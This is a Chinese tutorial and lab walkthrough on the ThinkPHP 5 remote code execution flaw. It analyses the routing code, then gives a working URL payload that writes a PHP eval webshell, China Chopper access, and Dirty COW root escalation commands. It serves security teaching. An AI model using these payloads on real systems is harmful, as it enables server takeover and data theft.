FavoriteLoading
0

ThinkPHP5远程代码执行漏洞

ThinkPHP是一个免费开源的快速、简单、面向对象的轻量级PHP开发框架,是为了敏捷Web应用开发和简化企业应用开发而诞生。

ThinkPHP 5.0版本是一个颠覆和重构版本,采用全新的架构思想,引入了更多的PHP新特性,优化了核心,减少了依赖,实现了真正的惰性加载,支持composer,并针对API开发做了大量的优化。

ThinkPHP官方2018年12月9日发布修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。

原理

这个漏洞是由于框架对控制器名没有进行足够的检测而导致在没有开启强制路由的情况下可能的getshell。

因此漏洞的触发在路由调度时。

Thinkphp中是由函数pathinfo()来获取路由的,因此我们可以搜索关键词pathinfo,来定位函数。

该路由函数中$this->config['var_pathinfo']是配置文件的默认值,其初始化代码如下,值为‘s’:

当请求报文包含$_GET['s'],就取其值作为pathinfo,并返回pathinfo给调用函数。

分析发现pathinfo函数被library/think/Request.php中的path函数调用:

显然,这里$this->path源自pathinfo,因此可以被恶意访问者控制。继续分析该变量的传递,在library/think/App.php中被引用:

这里是进行路由检测,恶意访问者可控的$path被传递给了如下的check函数:

thinkphp/library/think/Route.php

分析代码可知,如果开启了强制路由则会抛出异常

Check函数最后实例化一个UrlDispatch对象,将$url传递给了构造函数。继续分析UrlDispatch的父类也就是Dispatch类的构造函数:

/thinkphp/library/think/routeDispatch.php

$dispatch变量可控并赋值给了$this->dispatch,经过多次函数调用返回,最后如下的Url类的init 函数将会被调用来处理$this->dispatch

/thinkphp/library/think/route/dispatch/Url.php

这里调用parseUrl对$this->dispatch进行解析,这是该漏洞的核心点之一:

这里调用parseUrlPath函数对$url进行解析,继续分析该函数:

/thinkphp/library/think/route/Rule.php

显然,url的格式为“模块/控制器/操作”,url的格式为“模块/控制器/操作”,url分割形成一个数组存到$path变量中并返回到调用者。

继续分析封装路由的代码:

library/think/route/dispatch/Url.php

路由封装返回到library/think/route/dispatch/Url.php

$result就是封装好的路由数组,传递给了Module的构造函数。

由于Module也是继承自Dispatch类,直接看Dispatch的构造函数:

$result赋值给了$this->dispatch。然后调用Module类的init函数:

\thinkphp\library\think\route\dispatch\Module.php
     public function init()
    {
        parent::init();

        $result = $this->dispatch;

        if (is_string($result)) {
            $result = explode('/', $result);
        }

        if ($this->rule->getConfig('app_multi_module')) {
            // 多模块部署
            $module    = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
            $bind      = $this->rule->getRouter()->getBind();
            $available = false;

            if ($bind && preg_match('/^[a-z]/is', $bind)) {
                // 绑定模块
                list($bindModule) = explode('/', $bind);
                if (empty($result[0])) {
                    $module = $bindModule;
                }
                $available = true;
            } elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
                $available = true;
            } elseif ($this->rule->getConfig('empty_module')) {
                $module    = $this->rule->getConfig('empty_module');
                $available = true;
            }

            // 模块初始化
            if ($module && $available) {
                // 初始化模块
                $this->request->setModule($module);
                $this->app->init($module);
            } else {
                throw new HttpException(404, 'module not exists:' . $module);
            }
        }

        // 是否自动转换控制器和操作名
        $convert = is_bool($this->convert) ? $this->convert : $this->rule->getConfig('url_convert');
        // 获取控制器名
        $controller       = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
        $this->controller = $convert ? strtolower($controller) : $controller;

        // 获取操作名
        $this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action'));

        // 设置当前请求的控制器、操作
        $this->request
            ->setController(Loader::parseName($this->controller, 1))
            ->setAction($this->actionName);

        return $this;

这里存在第一个对$module的判断,需要让$available等于true,这就需要iis_dir(this->app->getAppPath() . module)成立。

官方demo给出的模块是index,而实际开发程序不一定存在该模块名,所以构造payload时这里是一个注意点。

满足这个判断条件后,继续分析后续的控制流会进入如下module的exec函数:

分析发现,$this->controller是恶意访问者可控的,并传递给了如下的controller函数,继续分析该函数:

\thinkphp\library\think\App.php

在这里,name是恶意访问者可控的,并传递给了如下的parseModuleAndClass函数:

分析发现,当$name存在反斜杠时就直接将$name赋值给$class并返回。显然,恶意访问者通过控制输入就可以操控类的实例化过程,从而造成代码执行漏洞。

实验环境

  • 操作机:Windows XP

  • 172.16.11.2

  • 目标机:CentOS 6.5

  • 172.16.12.2

  • 目标地址:http://172.16.12.2

  • 实验文件下载地址:file.ichunqiu.com/zzx5zfj2

实验步骤

实验内所需文件请访问file.ichunqiu.com/zzx5zfj2进行下载

步骤一:访问目标,利用Payload写入文件,并验证文件是否写入成功。

首先打开目标URL,发现这是Thinkphp5.1版本的,因此利用针对5.1版本的Payload进行利用。

Payload:

index.php?s=index/\think\template\driver\file/write&cacheFile=【写入文件名】&content=【写入内容】

一句话木马:

<?php @eval($_POST['X']);?>

我们只要修改payload,如修改:

index.php?s=index/\think\template\driver\file/write&cacheFile=myshell.php&content=<?php @eval($_POST['X']);?>

在目标URL后面直接添加上面的payload即刻,若返回空白并访问shell.php返回空白,则说明写入成功。

需要注意的是:写入的文件在网站/public目录下,因此我们要想访问shell.php只要在原本的目标URL后添加shell.php。

步骤二:打开中国菜刀,连接一句话木马。

打开中国菜刀,右键点击添加,输入地址、连接的密码以及脚本语言后点击添加。

http://172.16.12.2/public/myshell.php
密码:X

添加成功后,点击右键文件管理,即刻查看网站目录下的文件。

接着点击thinkphp5的目录下查看key1.txt文件。

步骤三:进行提权操作

从web目录结构可以看出这是Linux系统。因此可以尝试脏牛提权。

返回中国菜刀主页,选择目标并右键,点击虚拟终端。

通过命令id查看当前用户,可以看到当前用户是www,权限是不够的。因此再次右键文件管理,上传dirty_exp文件至thinkphp5/public/目录下,上传成功后我们可以看到它的属性是644,www是不够权限运行的,所以右键打开终端,输入以下命令:

chmod 777 dirty_exp

这个时候www用户已经可以执行这个文件了,命令如下:

./dirty_exp ichunqiu //ichunqiu是设置的密码

步骤四:确认提权成功

我们可以看到菜刀执行了./dirty_exp ichunqiu这条命令之后,返回操作超时。因此为了保证成功提权,我们可以查看/etc/passwd来确认root是否已经被改名。

步骤五:ssh访问目标服务器

确认过提权成功后,我们打开putty这款工具,在HOST NAME那写上IP地址后点击Open,在弹出的窗口中填入root账号(默认修改为firefart)和密码(自定义)即可登录目标服务器。

步骤六:访问root目录下key2.txt文件

现在我们终于有了root的权限,只要切换到root目录下,cat key2.txt就完成了本次的实验。

实验结果分析与总结

Linux提权方式

  • 利用Linux内核漏洞提权

  • 利用低权限用户目录下可被Root权限用户调用的脚本提权

  • 利用环境变量劫持高权限程序提权

理解Linux权限

详细说明链接http://www.runoob.com/linux/linux-file-attr-permission.html

  • 菜刀一句话木马编写以及中国菜刀的原理
<?php @eval($_POST['E'])?>
//提交方式为POST

思考

  • 如何编写自己的一句话木马

  • 中国菜刀的原理

  • 了解并思考脏牛(CVE-2016-5195)的原理,尝试自己编译脏牛exp

【声明】:8090安全小组门户(http://www.8090-sec.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱hack@ddos.social,我们会在最短的时间内进行处理。